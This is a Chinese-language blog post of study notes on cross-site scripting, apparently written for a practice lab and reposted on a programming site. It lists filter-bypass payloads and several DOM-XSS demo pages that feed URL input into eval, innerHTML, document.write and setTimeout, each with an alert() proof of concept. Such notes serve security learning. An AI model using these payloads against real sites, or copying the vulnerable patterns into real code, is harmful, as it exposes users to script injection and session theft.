XSS学习小记

栏目: 编程工具 · 发布时间: 5年前

内容简介:地址:参考wp:小记:

地址: http://test.xss.tv/

参考wp: https://xz.aliyun.com/t/1206

小记:

  1. <input> 标签里面可触发alert的事件 oninputonchange

  2. <a> href的javascript

    <a href="javascript:alert(/1/)">axxx</a>
    
  3. 有waf过滤时,多查看源码,看看payload发生了什么变化

    常用绕过方式 双写绕过 大小写绕过
    
  4. 协议绕过

  5. Javascript:伪协议后面可以使用URL编码。
    如:<a href="javas%09cript:alert(1)">click me</a>可成功执行弹窗。
    可用img就不行:<img src=1 onerror="javas%09cript:alert(1)">
    因为href属性会跳转到其中的URL,而会进行URL解码,onerror属性只会执行JS,不跳转同时后面的url编码可以再做一次entity(HTML实体)编码:
    %09 --> TAB
    %0d --> 回车
    %0a --> 空格
    

    html标签不区分大小写,但是javascript区分大小写

    <iMg sRc=x onError=alert(1)>    弹窗
    <iMg sRc=x onError=aLert(1)>    不弹窗
    
  6. referer和User-Agent和xff cookie等也可能造成XSS(当这些信息会输出到页面时)

  7. angularjs的ng-include 加载外面html导致的XSS

    ?src='level1.php?name=test<img src=1 onerror=alert(1)>'
    
  8. flash xss

    flash xss可使用JPEXS 对下载的flash进行逆向分析,找到关键函数

    Flash xss检测脚本的简单实现 https://www.freebuf.com/sectool/108568.html

dom-xss

一个简单的demo

test.html

<html>
<head>
    <meta charset="utf-8">
    <title>XSSdemo</title>
</head>
<script>    
	eval(location.hash.substr(1));
</script>
<body>
    test
</body>
</html>

payload

xxxxx/test.html#alert(1);

分析

location.hash.substr(1)

提取出来的是

alert(1)

eval执行了alert(1),从而引发了xss

几种常见的dom型xss

使用document.write直接输出导致浏览器解析恶意代码

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title></title>
    <script type="text/javascript">
        var s=location.search;          //返回URL中的查询部分(?之后的内容)
          s=s.substring(1,s.length);    //返回整个查询内容
        var url="";                     //定义变量url
        if(s.indexOf("url=")>-1){       //判断URL是否为空 
          var pos=s.indexOf("url=")+4;  //过滤掉"url="字符
          url=s.substring(pos,s.length); //得到地址栏里的url参数
        }else{
          url="url参数为空";
        }
        document.write("url: <a href='"+url+"'>"+url+"</a>");  //输出
    </script>
  </head>
  <body>
  </body>
</html>

payload

xxx/test.html?url=javascript:alert(1)

使用innerHTML直接输出导致浏览器解析恶意代码

<!DOCTYPE html>
  <html>
    <head>
      <meta charset="utf-8">
      <title></title>
      <script type="text/javascript">
          var s=location.search;          //返回URL中的查询部分(?之后的内容)
            s=s.substring(1,s.length);    //返回整个查询内容
          var url="";                     //定义变量url
          if(s.indexOf("url=")>-1){       //判断URL是否为空
            var pos=s.indexOf("url=")+4;  //过滤掉"url="字符
            url=s.substring(pos,s.length); //得到地址栏里的url参数
          }else{
            url="url参数为空";
          }
      </script>
    </head>
    <body>
      <span id='test'><a href=""></a></span>
       <script type="text/javascript">document.getElementById("test").innerHTML="我的url是: <a href='"+url+"'>"+url+"</a>"; </script>
    </body>
  </html>

payload

xxx/test.html?url=javascript:alert(1)

使用location/location.href/location.replace/iframe.src造成的XSS

<!DOCTYPE html>
     <html>
       <head>
         <meta charset="utf-8">
         <title></title>
         <script type="text/javascript">
             var s=location.search;          //返回URL中的查询部分(?之后的内容)
               s=s.substring(1,s.length);    //返回整个查询内容
             var url="";                     //定义变量url
             if(s.indexOf("url=")>-1){       //判断URL是否为空
               var pos=s.indexOf("url=")+4;  //过滤掉"url="字符
               url=s.substring(pos,s.length); //得到地址栏里的url参数
             // }else{                        //此处注释掉
             //   url="url参数为空";          //此处注释掉
              }
         </script>
       </head>
       <body>
         <span id='test'><a href=""></a></span>
          <script type="text/javascript">location.href=url</script>
       </body>
     </html>

使用setTimeout/setInterval造成的XSS

<!DOCTYPE html>
       <html>
         <head>
           <meta charset="utf-8">
           <title></title>
           <script type="text/javascript">
               var s=location.search;          //返回URL中的查询部分(?之后的内容)
                 s=s.substring(1,s.length);    //返回整个查询内容
               var url="";                     //定义变量url
               if(s.indexOf("url=")>-1){       //判断URL是否为空
                 var pos=s.indexOf("url=")+4;  //过滤掉"url="字符
                 url=s.substring(pos,s.length); //得到地址栏里的url参数
                 }else{
                   url="url参数为空";
                }
           </script>
         </head>
         <body>
           <textarea id="test" rows="8" cols="40">2s获取url</textarea>
           <script type="text/javascript">
              function showURL(url){
                document.getElementById('test').value=url;
              }
              if(url!="url参数为空")
              setTimeout("showURL('"+url+"')",2000);
                   //setInterval("showURL('"+url+"')",3000);
           </script>
         </body>
       </html>

payload

test.html?url=aa');alert('xsstest');eval('

setTimeout变成

setTimeout(“showURL(‘“‘);alert(‘xsstest’);eval(‘+url+”‘)”,2000);

火狐下会自动对参数传输进行url编码

导致xss失败

输出为aa%27);alert(%27xsstest%27);eval(%27

edge下有效

dom-xss实例

色块XSS

test.htm

<script type="text/javascript">
varname = location.search.substr(1);
var varnames = varname.split('|');
varname = varnames[0];
varnamev = varnames[1];
fun = varnames[2] || '';
var colors = '\
000000#000000#000033#000066#000099#0000CC#0000FF#003300#003333#003366#003399#0033CC#0033FF#006600#006633#006666#006699#0066CC#0066FF#\
333333#009900#009933#009966#009999#0099CC#0099FF#00CC00#00CC33#00CC66#00CC99#00CCCC#00CCFF#00FF00#00FF33#00FF66#00FF99#00FFCC#00FFFF#\
666666#330000#330033#330066#330099#3300CC#3300FF#333300#333333#333366#333399#3333CC#3333FF#336600#336633#336666#336699#3366CC#3366FF#\
999999#339900#339933#339966#339999#3399CC#3399FF#33CC00#33CC33#33CC66#33CC99#33CCCC#33CCFF#33FF00#33FF33#33FF66#33FF99#33FFCC#33FFFF#\
CCCCCC#660000#660033#660066#660099#6600CC#6600FF#663300#663333#663366#663399#6633CC#6633FF#666600#666633#666666#666699#6666CC#6666FF#\
FFFFFF#669900#669933#669966#669999#6699CC#6699FF#66CC00#66CC33#66CC66#66CC99#66CCCC#66CCFF#66FF00#66FF33#66FF66#66FF99#66FFCC#66FFFF#\
FF0000#990000#990033#990066#990099#9900CC#9900FF#993300#993333#993366#993399#9933CC#9933FF#996600#996633#996666#996699#9966CC#9966FF#\
00FF00#999900#999933#999966#999999#9999CC#9999FF#99CC00#99CC33#99CC66#99CC99#99CCCC#99CCFF#99FF00#99FF33#99FF66#99FF99#99FFCC#99FFFF#\
0000FF#CC0000#CC0033#CC0066#CC0099#CC00CC#CC00FF#CC3300#CC3333#CC3366#CC3399#CC33CC#CC33FF#CC6600#CC6633#CC6666#CC6699#CC66CC#CC66FF#\
FFFF00#CC9900#CC9933#CC9966#CC9999#CC99CC#CC99FF#CCCC00#CCCC33#CCCC66#CCCC99#CCCCCC#CCCCFF#CCFF00#CCFF33#CCFF66#CCFF99#CCFFCC#CCFFFF#\
00FFFF#FF0000#FF0033#FF0066#FF0099#FF00CC#FF00FF#FF3300#FF3333#FF3366#FF3399#FF33CC#FF33FF#FF6600#FF6633#FF6666#FF6699#FF66CC#FF66FF#\
FF00FF#FF9900#FF9933#FF9966#FF9999#FF99CC#FF99FF#FFCC00#FFCC33#FFCC66#FFCC99#FFCCCC#FFCCFF#FFFF00#FFFF33#FFFF66#FFFF99#FFFFCC#FFFFFF';
var colorarray = colors.split('#');
var setv = '';
function showcolors() {
	var s = '';
	for(c in colorarray) {
		s += '<em onmouseover="v(\'' + colorarray[c] + '\')" style="background-color:#' + colorarray[c] + '"></em>';
	}
	document.getElementById('colors').innerHTML = s;
}

function setvalue(obj) {
	if(varname) {
		parent.$(varname).style.backgroundColor = setv;
	}
	if(varnamev) {
		parent.$(varnamev).value = setv;
	}
	if(fun) eval('parent.'+fun+'("'+setv+'")');
}

function v(v) {
	v = v != 'transparent' ? '#' + v : 'transparent';
	document.getElementById('p').style.backgroundColor = v;
	setv = v;
	document.getElementById('pv').innerHTML = v;
}

</script>
<style>
body { margin:0px;background-color:#333; }
#h { padding:0;width:210px;height:15px;background-color:#CCC;overflow:hidden;}
#p { margin:0;display:block;float:left;font-size:0;width:140px;height:13px;background:#DDF0DF; }
#pv { margin:0;display:block;float:left;font-size:12px;width:58px;height:13px;overflow:hidden;text-align: right;font-style:normal;background:#DDF0DF; }
#colors { clear:both;width:209px; height:133px; }
#colors em, .trans { font-size:0;margin:1px 0 0 1px;width:10px;height:10px;float:left;cursor:pointer; }
.trans { background-color: #FFF; }
</style>

<body onmousedown="setvalue(document.getElementById('colorhex'))" scrolling="no">
<div id="h"><em id="p"></em><em id="pv"></em><em class="trans" onmouseover="v('transparent')" style="background-image:url('transcolor.gif')"></em></div>
<div id="colors"></div>
<script type="text/javascript">
showcolors();
try {document.getElementById('box').style.backgroundColor = cvalue;} catch(e) {}
</script>
</body>

payload

test.htm?||alert(/xss/)

这里是由于fun变量没有过滤导致的

fun = varnames[2] || '';       这里fun等于alert(/xss/)

eval函数执行 parent.alert(/xss/) 触发xss

	if(fun) eval('parent.'+fun+'("'+setv+'")');
}

以上所述就是小编给大家介绍的《XSS学习小记》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Python高性能(第2版)

Python高性能(第2版)

[加] 加布丽埃勒•拉纳诺(Gabriele Lanaro) / 袁国忠 / 人民邮电出版社 / 2018-8 / 59.00元

本书是一本Python性能提升指南,展示了如何利用Python的原生库以及丰富的第三方库来构建健壮的应用程序。书中阐释了如何利用各种剖析器来找出Python应用程序的性能瓶颈,并应用正确的算法和高效的数据结构来解决它们;介绍了如何有效地利用NumPy、Pandas和Cython高性能地执行数值计算;解释了异步编程的相关概念,以及如何利用响应式编程实现响应式应用程序;概述了并行编程的概念,并论述了如......一起来看看 《Python高性能(第2版)》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

URL 编码/解码
URL 编码/解码

URL 编码/解码

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具